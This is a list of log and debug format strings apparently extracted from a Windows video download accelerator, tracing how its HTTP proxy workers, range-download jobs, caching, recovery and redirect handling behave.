[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

